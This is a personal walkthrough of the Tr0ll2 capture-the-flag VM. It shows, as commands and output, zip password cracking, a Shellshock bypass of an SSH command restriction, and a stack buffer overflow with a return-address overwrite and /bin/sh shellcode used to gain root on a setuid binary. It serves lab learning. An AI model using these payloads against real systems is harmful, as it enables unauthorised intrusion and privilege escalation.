Vulnhub.com — Tr0ll2 CTF Walkthrough

Leigh
SecurityBytes
Published in
12 min readMar 1, 2017

I’m warming up, stretches and leans, so that I can pull the trigger and start my OSCP, so an invite to play another VM from Pete was fortunate timing.

This time I’m battling Tr0ll2. I didn’t battle Tr0ll1, but presumably it’s going to include lots of annoying quirks which should make for a nice interesting challenge.

Standard disclaimer: this is a way of doing it, not necessarily the best way of doing it. I hope that my explanations of what I did are useful, but more importantly I hope that the reasons why I tried things — the thought process I went through — are useful too.

I’m using VMWare Fusion on Mac, with a Kali VM to attack from.

(NB., the IP address I’m attacking changes throughout this write up — since I’ve done this over 3 main sessions and wrote it up, which included taking some additional screenshots, in a 4th.)

Enumeration

First I need to find my target machine, so after looking up the MAC address that has been set for it by my hypervisor I issue this and look for the associated IP address.

arp-scan -l

From here the natural starting point is to see if anything is willing to talk to me.

nmap -A -O 192.168.34.129

And I can see that I have port 21 (FTP), 22 (SSH), and 80 (HTTP) listening.

A webserver is likely to be the easiest pickings for now, so I’ll browse to the IP address and see what’s happening.

A troll meme, and looking in the source code not much else. Although I do have an ‘author’ which might come in useful when I get to the point where I need a user name: Tr0ll.

My first thought is to see if there’s anything hidden in the image, so I break out binwalk.

root@kali:~/Desktop# binwalk -B tr0ll_again.jpgDECIMAL       HEXADECIMAL     DESCRIPTION-----------------------------------------------------------------0             0x0             JPEG image data, JFIF standard 1.01

So that’s showing me it didn’t detect anything embedded in there. And I didn’t find anything simpler hidden in there either.

strings tr0ll_again.jpg

Just returned us some uninteresting gibberish.

At this point, slightly rusty, I move on to look at the FTP server.

FTP

With little more to go off I try the username I found earlier and BOOM! Headshot.

Here I can see that there’s a zip file called lmao. Let’s make sure I’m in binary transfer mode so that I don’t mangle the file and then I’ll pull it down to take a look.

lsbinaryget lmao.zip

The zip file is password protected so I head to fcrackzip to see if it’s got a simple password, using the common.txt password file from /usr/share/wordlists/dirb/common.txt

fcrackzip -D -p common.txt lmao.zip

Where -D is a dictionary attack, and -p points to the password file.

This actually gave me a bunch of possible password matches. Thinking I’d struck gold I tried to decrypt the file but got nowhere.

Frustrated, I turned to a more bruteforce approach.

fcrackzip -b -c a -l 1-8 -u -v lmao.zip

This telling it to bruteforce lowercase passwords upto 8 characters: -b being bruteforce, -c specifying lowercase characters (‘a’), -l specifying the lengths to try (1–8), -u telling it to attempt to unzip (which will get around the false matches), and -v adding some verbosity.

After waiting a long time, I finally realised that this wasn’t likely to be the way to beat a CTF VM. So I needed a re-think.

Reading the man page a bit more closely gave me the explanation as to why I was getting false positives, by the way.

As noted above, the -P option may be used to supply a password on the command line, but at a cost in security. The pre‐ferred decryption method is simply to extract normally; if a zipfile member is encrypted, unzip will prompt for the pass‐word without echoing what is typed. unzip continues to use the same password as long as it appears to be valid, by testing a 12-byte header on each file. The correct password will always check out against the header, but there is a 1-in-256 chance that an incorrect password will as well. (This is a security feature of the PKWARE zipfile format; it helps prevent brute-force attacks that might otherwise gain a large speed advantage by testing only the header.) In the case that an incorrect password is given but it passes the header test anyway, either an incorrect CRC will be generated for the extracted data or else unzip will fail during the extraction because the ``decrypted’’ bytes do not constitute a valid compressed data stream.

A brief chat with Peter told me he had a password but not a zip yet. Hmmm.

Back to the webserver.

What am I missing?

Enumeration…again

robots.txt

Here I missed a massive free-gift. Loads of things to check.

In my haste I just dived right in and started manually checking them all. I should have been a bit smarter and automated it but I had a break and I was excited.

Anyway. Manually browsing to each of those pages led to nothing except for 4 of them.

/noob
/keep_trying
/dont_bother
/ok_this_is_it

Each of these contained ostensibly the same image.

Running strings against each picture showed that one of them (don't_bother, I think?) had a string tacked on the bottom.

Look deep within y0ur_self for the answer

Let’s do just that then — browse to that URI.

This URI gives a linked file called answer.txt

A quick look at the file tells me that this is probably base 64 encoded so we’re going to need to decode it.

for word in $(cat answer.txt); do echo $word | base64 --decode >> answer2.txt; done

This is around 90k lines. In actuality this can be reduced a little bit (to about 70k) by removing duplicates, but I didn’t bother at first.

I ran this against the zip file until it found

ItCantReallyBeThisEasyRightLOL

So, decrypting the file gave me a file called noob.

root@kali:~/Desktop# file noob
noob: PEM RSA private key
root@kali:~/Desktop#

Ooh, a private key.

Keypairs are a useful way of managing SSH logins, so I think I’m heading to port 22 next.

SSH

I wasted a lot of time here by not paying attention to something obvious. I was attempting for a long time to authenticate as a user called Tr0ll (as had worked on the FTP server) but I was getting absolutely nowhere.

Another word from Peter put me back on the right track wherein the obviousness of my user actually being called ‘noob’ (you know, after the private key file…) hit me in the face bigly.

So, armed with the obviousness of the truth I tried again.

ssh -i noob noob@192.168.0.36 

Immediately there was a sort-of result.

I was able to authenticate successfully to the server, but I was hit with a custom message telling me to TRY HARDER LOL and then an immediate disconnection.

Hours were wasted attempting to pass commands to the server to allow me a foothold, but nothing was working.

ssh -v noob@192.168.0.36 ls

More discussions. More googling.

I was googling around command restriction on SSH.

Search for ‘command=’ in http://man.he.net/man5/authorized_keys to see what was happening to give me my custom error and subsequent log out.

More discussions. More googling.

This time around command restriction bypass, which led me to here: https://www.zdziarski.com/blog/?p=3905.

Talk of Shellshock was interesting so I thought I’d try it myself.

Shell Shock

ssh noob@192.168.0.36 '() { :;}; /bin/bash'

(NB., at this stage I’ve copied the noob file to ~/.ssh/id_rsa to allow me to forego passing it with the -i flag)

et Voila!

I have a shell on the remote machine. Dropping

python -c "import pty; pty.spawn('/bin/bash');"

Gives a slightly more comfortable pty to play with.

Binary Exploitation

Believe it or not, up until now has been plain sailing. This binary exploitation took me an absolute age to crack. This step was completed in almost complete collaboration with Peter and whilst I can wholeheartedly say that it worked, each time I err towards thinking I can explain why it worked, my explanation crumbles, and all I’m left with is WELL I GOT ROOT SO IT MUST HAVE WORKED.

Here’s how I finally got root.

Within my new shell, having a poke around I found

/nothing_to_see_here/

sat in the top of the directory structure.

within that sat

choose_wisely/
door1/
door2/
door3/

and within each door sat a single file called r00t.

Each of these files looked the same, but one was a 8.3k, whereas the other two were 7.2k. I decided that the odd one out is where I should start.

Running it with no argument gave me a usage advisory.

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ls -alh
ls -alh
total 20K
drwsr-xr-x 2 root root 4.0K Oct 5 2014 .
drwsr-xr-x 5 root root 4.0K Oct 4 2014 ..
-rwsr-xr-x 1 root root 8.3K Oct 5 2014 r00t
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ./r00t
./r00t
Usage: ./r00t input
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$

Running it with a small input just echoed back my input and did nothing.

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ./r00t AAAAA
./r00t AAAAA
AAAAAnoob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$

The next step was to throw a huge input at it and see how it handled that. The objective being to get a SEGFAULT — where we’ve written into some memory (because of an unsafe function) that we shouldn’t have.

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ./r00t $(python -c 'print "A"*300')
<_here/choose_wisely/door1$ ./r00t $(python -c 'print "A"*300')
Segmentation fault
noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$

So there it is — our SEGFAULT.

Now we just need to trace it back to where exactly it’s triggered.

There are a pair of nice scripts include in Kali which do this for you, but to be honest it’s not that hard to manually peform a binary search to find it yourself.

We know it has to be more than 5 input characters (we passed it 5 A’s early on and didn’t get a SEGFAULT) and we know it needs to be fewer than 300 (which caused a SEGFAULT).

So we can try pumping in different numbers of characters until we arrive the point where we switch between a SEGFAULT and another error.

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door3$ ./r00t $(python -c 'print "A"*268') 
<_here/choose_wisely/door3$ ./r00t $(python -c 'print "A"*268')
Illegal instruction

and

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door3$ ./r00t $(python -c 'print "A"*269')
<_here/choose_wisely/door3$ ./r00t $(python -c 'print "A"*269')
Segmentation fault

Here we have 268 character input giving us an “Illegal Instruction”, but 269 giving us our SEGFAULT.

What this tells us is that if we write further than 268 characters we go beyond the allocated buffer in memory that our programme is supposed to be using. That is, the next instruction causes the SEGFAULT.

We can see this in action in the gdb debugger.

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door3$ gdb ./r00t
gdb ./r00t
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /nothing_to_see_here/choose_wisely/door3/r00t...done.
(gdb) r $(python -c 'print "A"*268 + "B"*4')
r $(python -c 'print "A"*268 + "B"*4')
Starting program: /nothing_to_see_here/choose_wisely/door3/r00t $(python -c 'print "A"*268 + "B"*4')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
i r
eax 0x110 272
ecx 0x0 0
edx 0x0 0
ebx 0xb7fd1ff4 -1208147980
esp 0xbffffb90 0xbffffb90
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)

I issue 3 commands here, shown in bold.

Firstly, I invoke the gdb debugger and pass it the binary I’m playing with.

Secondly, I run (command r or run) the binary and pass it my crafted input. But I’ve modified my input here to prove the point. To show that I know exactly which instruction is being executed ‘next’, and thereby causing my SEGFAULT I send the 268 character buffer of A’s, followed by 4 B’s. In ASCII, B’s are represented as ‘42’, and we can see here that our EIP register has been overwritten by 4 lots of ‘42’ — or the four B characters that I sent it.

EIP represents the next instruction which will be executed so since I can now reliably write to it I can tell it where to get its next instruction.

Finally I run i r which gives info on the registers.

The standard approach is to then go on to fill the stack with your own code and point your EIP register to the bottom of the stack — which is the ESP register.

We see that ESP is

esp            0xbffffb90 0xbffffb90

So we can now craft our exploit to write the location of ESP into EIP which means that it will execute it next.

Our exploit now looks like

python -c 'print "A"*268 + "\x90\xfb\xff\xbf"

You’ll notice that the order of the bits has changed here — I’ve added the bits right-to-left instead of left-to-right. That’s because we’re working with a Little Endian architecture. Google up on that.

Now we need to find some exploit code to spawn a shell for us. Luckily there’s a vast resource list out there at http://shell-storm.org/shellcode/ amongst other places.

Selecting some shell code (http://shell-storm.org/shellcode/files/shellcode-827.php) and adding it to our exploit, with a small NOP sled ensure a smooth landing, we get:

python -c 'print "A"*268 + "\x90\xfb\xff\xbf" + "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'

Now then. In theory, this will give us a shell on the box.

In practice, at the cost of at least 10 active hours of trying to figure it out, this does not give a shell on the box. This gives us a SEGFAULT.

Let me be absolutely clear here: I DO NOT KNOW WHY.

However, all is not lost.

Take a look at this payload

python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'

I’ve knocked down the highlighted bit by 10 bits which in theory means that my exploit code lands 6 bits into the NOP sled.

(NB. you can’t run your final exploit within gdb since it won’t allow you to pop a root shell — if it pops a shell it will be a nerfed one running at gdb’s privilege level.)

And it works.

noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door3$ ./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
<x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
# id
id
uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob)
# cd /root
cd /root
# ls -alh
ls -alh
total 80K
drwx------ 11 root root 4.0K Oct 14 2014 .
drwxr-xr-x 23 root root 4.0K Oct 5 2014 ..
-rw------- 1 root root 67 Oct 14 2014 .bash_history
-rw-r--r-- 1 root root 3.1K Apr 19 2012 .bashrc
-rw-r--r-- 1 root root 140 Apr 19 2012 .profile
-rw-r--r-- 1 root root 66 Oct 5 2014 .selected_editor
drwx------ 2 root root 4.0K Oct 4 2014 .ssh
drwxr-xr-x 2 root root 4.0K Oct 5 2014 .vim
-rw------- 1 root root 4.2K Oct 14 2014 .viminfo
-rw-r--r-- 1 root root 68 Oct 6 2014 Proof.txt
drwxr-xr-x 5 root root 4.0K Oct 4 2014 core1
drwxr-xr-x 5 root root 4.0K Oct 4 2014 core2
drwxr-xr-x 5 root root 4.0K Oct 4 2014 core3
drwxr-xr-x 5 root root 4.0K Oct 4 2014 core4
drwxr-xr-x 2 root root 4.0K Oct 5 2014 goal
drwxr-xr-x 2 root root 4.0K Oct 6 2014 hardmode
-rw-r--r-- 1 maleus maleus 1.5K Oct 4 2014 lmao.zip
-rw-r--r-- 1 root root 828 Oct 4 2014 ran_dir.py
drwxr-xr-x 2 root root 4.0K Oct 6 2014 reboot
# cat Proof.txt
cat Proof.txt
You win this time young Jedi...
a70354f0258dcc00292c72aab3c8b1e4

Again, I don’t understand this exactly. What I thought should have worked didn’t work, and getting this to work for me seems intermittent.

If anyone with *real* gdb skills wants to take a look then I would very gratefully receive the correct answer.

In the meantime, I AM ROOT.

Worth pointing out whilst I remember that there were some real shenanigans with cracking this binary because periodically the server would delete the whole file structure and drop the binary in one of the three door folders at random forcing me to start again…

/out.

Thanks to Maleus for a fun, if annoyingly trolly VM, Vulnhub for hosting and for the IRC community, and to Peter without whom I would have probably given up on this one and just played Destiny instead.

--

--

Leigh
SecurityBytes

Father, husband, security architect, Guardian.